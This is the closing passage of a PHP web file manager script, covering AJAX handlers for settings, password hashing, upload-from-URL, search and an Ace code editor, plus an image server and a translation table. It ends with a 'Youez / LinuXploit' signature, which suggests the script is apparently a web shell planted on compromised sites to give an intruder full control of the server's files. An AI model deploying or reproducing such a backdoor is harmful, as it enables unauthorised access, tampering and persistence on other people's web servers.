        if(window.config.version!=v){tplObj.content=window.config.newUpdate;}else{tplObj.content=window.config.noUpdate;}
        $('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1024").modal('show');}else{rf_get_config();}
    }
    function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
    //Save Settings
    function save_settings($this) {
        let form = $($this);
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
            success: function (data) {if(data) { window.location.reload();}}
        }); return false;
    }
    //Create new password hash
    function new_password_hash($this) {
        let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
            success: function (data) { if(data) { $pwd.val(data); } }
        }); return false;
    }
    //Upload files using URL @param {Object}
    function upload_from_url($this) {
        let form = $($this), resultWrapper = $("div#js-url-upload__list");
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
            beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
            success: function (data) {
                if(data) {
                    data = JSON.parse(data);
                    if(data.done) {
                        resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
                    } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
                    form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
                }
            },
            error: function(xhr) {
                form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
            }
        }); return false;
    }
    //Search template
    function search_template(data) {
        var response = "";
        $.each(data, function (key, val) {
            response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
        });
        return response;
    }
    //search
    function rf_search() {
        var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
        if(!!searchTxt && searchTxt.length > 2 && path) {
            var data = {ajax: true, content: searchTxt, path:path, type: 'search'};
            $.ajax({
                type: "POST",
                url: window.location,
                data: data,
                beforeSend: function() {
                    searchWrapper.html('');
                    $loader.addClass('show-me');
                },
                success: function(data){
                    $loader.removeClass('show-me');
                    data = JSON.parse(data);
                    if(data && data.length) {
                        _html = search_template(data);
                        searchWrapper.html(_html);
                    } else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
                },
                error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
                failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
            });
        } else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
    }

    //on mouse hover image preview
    !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.css&&o.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);


    // Dom Ready Event
    $(document).ready( function () {
        //load config
        rf_get_config();
        //dataTable init
        var $table = $('#main-table'),
            tableLng = $table.find('th').length,
            _targets = (tableLng && tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3],
            mainTable = $('#main-table').DataTable({"paging":   false, "info":     false, "columnDefs": [{"targets": _targets, "orderable": false}]
        });
        //search
        $('#search-addon').on( 'keyup', function () {
            mainTable.search( this.value ).draw();
        });
        $("input#advanced-search").on('keyup', function (e) {
            if (e.keyCode === 13) { rf_search(); }
        });
        $('#search-addon3').on( 'click', function () { rf_search(); });
        //upload nav tabs
        $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
            e.preventDefault();let target=$(this).data('target');
            $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
            $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
        });
    });
</script>
<?php if(isset($_GET['edit'])&&isset($_GET['env'])&&rf_EDIT_FILE):$ext="javascript";$ext=pathinfo($_GET["edit"],PATHINFO_EXTENSION); ?>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.1/ace.js"></script>
    <script>
        var editor = ace.edit("editor");
        editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
        //editor.setTheme("ace/theme/twilight"); //Dark Theme
        function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
        editor.commands.addCommands([{
            name: 'save', bindKey: {win: 'Ctrl-S',  mac: 'Command-S'},
            exec: function(editor) { edit_save(this, 'ace'); }
        }]);
        function renderThemeMode() {
            var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
                _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
            if(_data && _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
            if(_data && _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
            if(_data && _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
            $modeEl.val( editor.getSession().$modeId );
            $themeEl.val( editor.getTheme() );
            $fontSizeEl.val(12).change(); //set default font size in drop down
        }

        $(function(){
            renderThemeMode();
            $(".js-ace-toolbar").on("click", 'button', function(e){
                e.preventDefault();
                let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
                if(cmdValue && cmdValue != "none") {
                    ace_commend(cmdValue);
                } else if(editorOption) {
                    if(editorOption == "fullscreen") {
                        (void 0!==document.fullScreenElement&&null===document.fullScreenElement||void 0!==document.msFullscreenElement&&null===document.msFullscreenElement||void 0!==document.mozFullScreen&&!document.mozFullScreen||void 0!==document.webkitIsFullScreen&&!document.webkitIsFullScreen)
                        &&(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreen&&editor.container.msRequestFullscreen());
                    } else if(editorOption == "wrap") {
                        let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
                        editor.getSession().setUseWrapMode(wrapStatus);
                    } else if(editorOption == "help") {
                        var helpHtml="";$.each(window.config.aceHelp,function(i,value){helpHtml+="<li>"+value+"</li>";});var tplObj={id:1028,title:"Help",action:false,content:helpHtml},tpl=$("#js-tpl-modal").html();$('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1028").modal('show');
                    }
                }
            });
            $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
                e.preventDefault();
                let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
                if(selectedValue && selectionType == "mode") {
                    editor.getSession().setMode(selectedValue);
                } else if(selectedValue && selectionType == "theme") {
                    editor.setTheme(selectedValue);
                }else if(selectedValue && selectionType == "fontSize") {
                    editor.setFontSize(parseInt(selectedValue)); 
                }
            });
        });
    </script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php }function rf_show_image($img){$modified_time=gmdate('D, d M Y 00:00:00').' GMT';$expires_time=gmdate('D, d M Y 00:00:00',strtotime('+1 day')).' GMT';$img=trim($img);$images=rf_get_images();$image='iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAEElEQVR42mL4//8/A0CAAQAI/AL+26JNFgAAAABJRU5ErkJggg==';if(isset($images[$img])){$image=$images[$img];}$image=base64_decode($image);if(function_exists('mb_strlen')){$size=mb_strlen($image,'8bit');}else{$size=strlen($image);}if(function_exists('header_remove')){header_remove('Cache-Control');header_remove('Pragma');}else{header('Cache-Control:');header('Pragma:');}header('Last-Modified: '.$modified_time,true,200);header('Expires: '.$expires_time);header('Content-Length: '.$size);header('Content-Type: image/png');echo $image;exit;}function lng($txt){global $lang;$tr['en']['AppName']='File Manager';$tr['en']['AppTitle']='File Manager';$tr['en']['Login']='Sign in';$tr['en']['Username']='Username';$tr['en']['Password']='Password';$tr['en']['Logout']='Sign Out';$tr['en']['Move']='Move';$tr['en']['Copy']='Copy';$tr['en']['Save']='Save';$tr['en']['SelectAll']='Select all';$tr['en']['UnSelectAll']='Unselect all';$tr['en']['File']='File';$tr['en']['Back']='Back';$tr['en']['Size']='Size';$tr['en']['Perms']='Perms';$tr['en']['Modified']='Modified';$tr['en']['Owner']='Owner';$tr['en']['Search']='Search';$tr['en']['NewItem']='New Item';$tr['en']['Folder']='Folder';$tr['en']['Delete']='Delete';$tr['en']['Rename']='Rename';$tr['en']['CopyTo']='Copy to';$tr['en']['DirectLink']='Direct link';$tr['en']['UploadingFiles']='Upload Files';$tr['en']['ChangePermissions']='Change Permissions';$tr['en']['Copying']='Copying';$tr['en']['CreateNewItem']='Create New Item';$tr['en']['Name']='Name';$tr['en']['AdvancedEditor']='Advanced Editor';$tr['en']['RememberMe']='Remember Me';$tr['en']['Actions']='Actions';$tr['en']['Upload']='Upload';$tr['en']['Cancel']='Cancel';$tr['en']['InvertSelection']='Invert Selection';$tr['en']['DestinationFolder']='Destination Folder';$tr['en']['ItemType']='Item Type';$tr['en']['ItemName']='Item Name';$tr['en']['CreateNow']='Create Now';$tr['en']['Download']='Download';$tr['en']['Open']='Open';$tr['en']['UnZip']='UnZip';$tr['en']['UnZipToFolder']='UnZip to folder';$tr['en']['Edit']='Edit';$tr['en']['NormalEditor']='Normal Editor';$tr['en']['BackUp']='Back Up';$tr['en']['SourceFolder']='Source Folder';$tr['en']['Files']='Files';$tr['en']['Move']='Move';$tr['en']['Change']='Change';$tr['en']['Settings']='Settings';$tr['en']['Language']='Language';$tr['en']['MemoryUsed']='Memory used';$tr['en']['PartitionSize']='Partition size';$tr['en']['ErrorReporting']='Error Reporting';$tr['en']['ShowHiddenFiles']='Show Hidden Files';$tr['en']['Full size']='Full size';$tr['en']['Help']='Help';$tr['en']['Free of']='Free of';$tr['en']['Preview']='Preview';$tr['en']['Help Documents']='Help Documents';$tr['en']['Report Issue']='Report Issue';$tr['en']['Generate']='Generate';$tr['en']['FullSize']='Full Size';$tr['en']['FreeOf']='free of';$tr['en']['CalculateFolderSize']='Calculate folder size';$tr['en']['ProcessID']='Process ID';$tr['en']['Created']='Created';$tr['en']['HideColumns']='Hide Perms/Owner columns';$tr['en']['Folder is empty']='Folder is empty';$tr['en']['Check Latest Version']='Check Latest Version';$tr['en']['Generate new password hash']='Generate new password hash';$tr['en']['You are logged in']='You are logged in';$tr['en']['Login failed. Invalid username or password']='Login failed. Invalid username or password';$tr['en']['password_hash not supported, Upgrade PHP version']='password_hash not supported, Upgrade PHP version';$i18n=rf_get_translations($tr);$tr=$i18n?$i18n:$tr;if(!strlen($lang))$lang='en';if(isset($tr[$lang][$txt]))return rf_enc($tr[$lang][$txt]);else if(isset($tr['en'][$txt]))return rf_enc($tr['en'][$txt]);else return"$txt";}

Youez - 2016 - github.com/yon3zu
LinuXploit